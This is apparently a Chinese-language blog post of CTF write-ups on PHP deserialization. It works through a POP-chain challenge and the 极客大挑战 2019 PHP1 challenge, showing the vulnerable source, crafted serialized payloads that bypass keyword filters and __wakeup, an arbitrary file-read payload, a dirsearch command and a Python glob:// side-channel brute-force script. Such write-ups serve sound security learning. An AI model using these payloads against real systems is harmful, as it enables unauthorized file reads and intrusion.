PHP 反序列化实例练习

PHP 反序列化实例练习

实例1

来源:php反序列化利用——POP链构造实例

<?php
// 题目中的第一个Class
class MyDirectory {
    public $name;
    // 构造器,新的对象建立时被调用
    public function __construct($name) {
        $this->name = $name;
    }
    // 当一个对象被当作字符串使用时触发
    public function __toString(){
        // 统计当前目录下的文件数量
        $num = count(scandir($this->name)); 
        if($num > 0){
            return "count $num files"; 
        } else {
// C限制点
            return "flag path is /flag_{{uuid}}"; 
        }
    }
}

// 题目中的第二个Class 
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user; 
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
// B限制点
    // 反序列化时调用
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False) 
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd"; 
        if(isset($_GET['user'])) {
            $this->user = $_GET['user']; 
        }
    }
    public function __destruct() {
        // 会调用__toString
        echo $this; 
    }
}

//题目中的限制 
if(isset($_GET['input'])){
    $input = $_GET['input']; 
// A限制点
    if(stristr($input, 'user')!==False){
        die('Hacker'); 
    } else {
        unserialize($input);
    }
}else { 
    highlight_file(__FILE__);
}

观察源码我们可以很容易的发现最终的目标,就是让 MyDirectory 的对象通过 __toString 来返回flag文件的路径

源码内我们标出了三个限制点:

  • A, 对GET输入检查是否包含’users’字符串,我们可以通过修改序列化字符串中的s为S,这样就可以支持利用16进制编码来进行绕过, s:4:"user"; -> S:4:"use\72";
  • B, 我们在序列化的字符串中对于 MyFile->name 会被 __wakeup 给替换掉,我们可以利用修改属性来绕过 __wakeup 的替换(此方法只适用于PHP5 < 5.6.25, PHP7 < 7.0.10),这里我们使用浅copy来对可控变量 $this->user 来进行过滤
  • C, 无法直接获取文件名,可以配合 glob:// 协议来测信道出 flag 的文件名字

因此我们构造 payload:

<?php 
class MyFile {
    public $name='/etc/hosts';
    public $user=''; 
}

$a = new MyFile();

// 利用可控参数 $a->user来绕过 $this->name的过滤
// &$a->user表示传一个引用,而不是单纯的值,结果就是如果 $a->user 发生改变,那么 $a->name 也会跟着改变
// 这样就可以防止 $a->name 被替换,同时因为Myfile中会根据 $_GET['user'] 来给 $a->user 赋值,因此可以完成变量控制
$a->name = &$a->user; 
$b = serialize($a);

// 绕过 'user' 过滤
$b = str_replace("user","use\\72",$b);
$b = str_replace(";s:4:",";S:4:",$b);
var_dump($b); 

// 得到序列化结果:
// O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"use\72";R:2;}

// 文件任意读 payload:
// input=O:6:"MyFile":2: {s:4:"name";s:0:"";S:4:"us\65r";R:2;}&user=/proc/self/mounts

Payload中出现的 R:2; 表示的变量的类型是引用(显示的引用)

这一步的目的是通过构造POP链来调用敏感函数 file_get_contents 来获取任意文件的内容;

__construct() ( -> unserialize()) -> __wakeup() -> __destruct() (-> echo()) -> __toString() (调用 __destruct() 的时候调用了echo $this, 触发了 __toString())

大家可以单步调试一下,就能更好的理解这边的POP链以及这边用到的对象引用问题

Figure 1: 单步调试POP链

Figure 1: 单步调试POP链

那么我们现在只剩下flag的文件路径不知道了,此时就需要想办法利用 MyDirectory类

<?php
class MyDirectory {
    public $name='glob:///flag_'; 
}
class MyFile {
    public $name='/etc/hostname'; 
    public $user='';
}
$a = new MyFile();
$a->name = new MyDirectory();
$b = serialize($a);
var_dump($b);
print(urlencode($b))
// O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1:{s:4:"name";s:13:"glob:///flag_";}s:4:"user";s:0:"";}

我们这里利用PHP伪协议, glob:// 来匹配查找文件路径,利用测信道攻击,即如果glob匹配成功,则返回的是 /etc/hostname 其中避免包含’root’字段,如果不是,则返回 /etc/passwd

然后逐步拼接flag的字符串,就和我们在sql注入中的盲注是一个道理

import requests
url = 'http://124.16.75.162:31102/' 
flag = ''

# 假设flag最多有40个字符这么长
for _ in range(1,40):
    # 利用匹配Ascii字符
    for i in range(32,128):
        if i == 37 or i == 42 or i == 63:
            continue
        param = r'?input=O:6:"MyFile":2:{s:4:"name";O:11:"MyDirectory":1: {s:4:"name";s:'+str(14+_)+':"glob:///flag_'+flag+chr(i)+'%2a";}S:4:"us\\65r";s :0:"";}'
        res = requests.get(url+param)
        # 测信道攻击,根据返回的文件内容判断是否匹配上了
        if 'root' in res.text:
            flag += chr(i)
            print(flag) 
# 最后得到路径
# flag_fecd0d9b-2852-497d-b829-0c5bf11c5021

[极客大挑战 2019]PHP1

猫猫真不错,但是不能给flag啊

根据文字提示,直接先用dirsearch爆破一下目录看看有没有备份文件

./dirsearch.py -u http://63038eb9-d80a-4dba-ac04-c7cc6f1b1592.node4.buuoj.cn:81/ -e php

Figure 2: 利用dirsearch找到备份文件

Figure 2: 利用dirsearch找到备份文件

接着我们下载该文件

解压缩后就发现了网页的所有备份文件

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
?>

看到这些魔术方法我们自然就想到要构建 POP链来进行反序列化调用

只要__destruct() 的时候满足 $this->username = ‘admin’, $this->password = 100 即可输出flag,但是 __wakeup() 却会在一开始就修改 $this->username 的值,因此我们要想办法绕过 __wakeup()

在反序列化字符串时,如果一个对象申明的属性个数大于实际个数时,就会自动跳过 __wakeup() 的执行,我们构造payload

<?php

class Name{
    private $username='admin';
    private $password=100;
}

$p = new Name;
$s = serialize($p);
var_dump($s);
print(urlencode($s));

?>

Figure 3: Payload serialisation payload

Figure 3: Payload serialisation payload

接着我们修改申明的属性个数 O%3A4%3A%22Name%2 3 %3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

http://63038eb9-d80a-4dba-ac04-c7cc6f1b1592.node4.buuoj.cn:81/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

Figure 4: 得到Flag!

Figure 4: 得到Flag!

参考:

CTF-Web-[极客大挑战 2019]PHP

comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy